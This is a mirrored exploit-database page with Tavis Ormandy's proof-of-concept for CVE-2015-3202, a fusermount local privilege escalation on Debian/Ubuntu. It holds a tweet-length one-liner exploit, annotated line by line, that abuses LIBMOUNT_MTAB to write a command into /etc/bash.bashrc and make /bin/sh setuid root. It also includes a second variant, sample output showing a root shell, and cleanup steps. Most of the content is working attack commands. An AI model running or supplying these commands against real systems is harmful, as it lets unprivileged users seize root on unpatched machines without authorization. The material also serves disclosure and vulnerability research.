Fuse 2.9.3-15 – Local Privilege Escalation

  • 作者: Tavis Ormandy
    日期: 2015-05-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37089/
  • Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba
    Tweet: https://twitter.com/taviso/status/601370527437967360
    Recommend Reading: http://seclists.org/oss-sec/2015/q2/520
    YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88
    
    
    
    # Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
     
    12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
    a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
     
    # Here's how it works, $a holds the name of a shellscript to be executed as
    # root.
    a=/tmp/.$$;
     
    # $b is used twice, first to build the contents of shellscript $a, and then as
    # a command to make $a executable. Quotes are unused to save a character, so
    # the seperator must be escaped.
    b=chmod\ u+sx;
     
    # Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
    # /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
    # and dont make it drop privileges.
    #
    # http://www.openwall.com/lists/oss-security/2013/08/22/12
    #
    echo $b /bin/sh>$a;
     
    # Now make the $a script executable using the command in $b. This needlessly
    # sets the setuid bit, but that doesn't do any harm.
    $b $a;
     
    # Now make $a the directory we want fusermount to use. This directory name is
    # written to an arbitrary file as part of the vulnerability, so needs to be
    # formed such that it's a valid shell command.
    a+=\;$a;
     
    # Create the mount point for fusermount.
    mkdir -p $a;
     
    # fusermount calls setuid(geteuid()) to reset the ruid when it invokes
    # /bin/mount so that it can use privileged mount options that are normally
    # restricted if ruid != euid. That's acceptable (but scary) in theory, because
    # fusermount can sanitize the call to make sure it's safe.
    #
    # However, because mount thinks it's being invoked by root, it allows
    # access to debugging features via the environment that would not normally be
    # safe for unprivileged users and fusermount doesn't sanitize them.
    #
    # Therefore, the bug is that the environment is not cleared when calling mount
    # with ruid=0. One debugging feature available is changing the location of
    # /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
    # files.
    #
    # In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
    # current shell from $0...so it only works if you're using bash!).
    #
    # The line written by fusermount will look like this:
    #
    # /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
    #
    # Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
    # /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
    # xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
    # next time root logs in.
    #
    # Another way to exploit it would be overwriting /etc/default/locale, then
    # waiting for cron to run /etc/cron.daily/apt at midnight. That means root
    # wouldn't have to log in, but you would have to wait around until midnight to
    # check if it worked.
    #
    # And we have enough characters left for a hash tag/comment.
    LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
     
    # Here is how the exploit looks when you run it:
    #
    # $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
    # fusermount: failed to open /etc/fuse.conf: Permission denied
    # sending file descriptor: Socket operation on non-socket
    # $ cat /etc/bash.bashrc 
    # /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
    #
    # Now when root logs in next...
    # $ sudo -s
    # bash: /dev/fuse: Permission denied
    # # ls -Ll /bin/sh
    # -rwsr-xr-x 1 root root 121272 Feb 192014 /bin/sh
    # # exit
    # $ sh -c 'id'
    # euid=0(root) groups=0(root)
    #
    # To repair the damage after testing, do this:
    #
    # $ sudo rm /etc/bash.bashrc
    # $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
    # $ sudo chmod 0755 /bin/sh
    # $ sudo umount /tmp/.$$\;/tmp/.$$
    # $ rm -rf /tmp/.$$ /tmp/.$$\;
    #
    
    
    - - - - - - - - - - -
    
    
    $ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
    $ mkdir -p '/tmp/exploit||/tmp/exploit'
    $ LIBMOUNT_MTAB=/etc/bash.bashrc_FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'
    fusermount: failed to open /etc/fuse.conf: Permission denied
    sending file descriptor: Socket operation on non-socket
    $ cat /etc/bash.bashrc
    /dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0
    
    Then simply wait for root to login, or alternatively overwrite
    /etc/default/locale and wait for cron to run a script that sources it.
    That means root wouldn't have to log in, but you would have to wait
    around until midnight to check if it worked.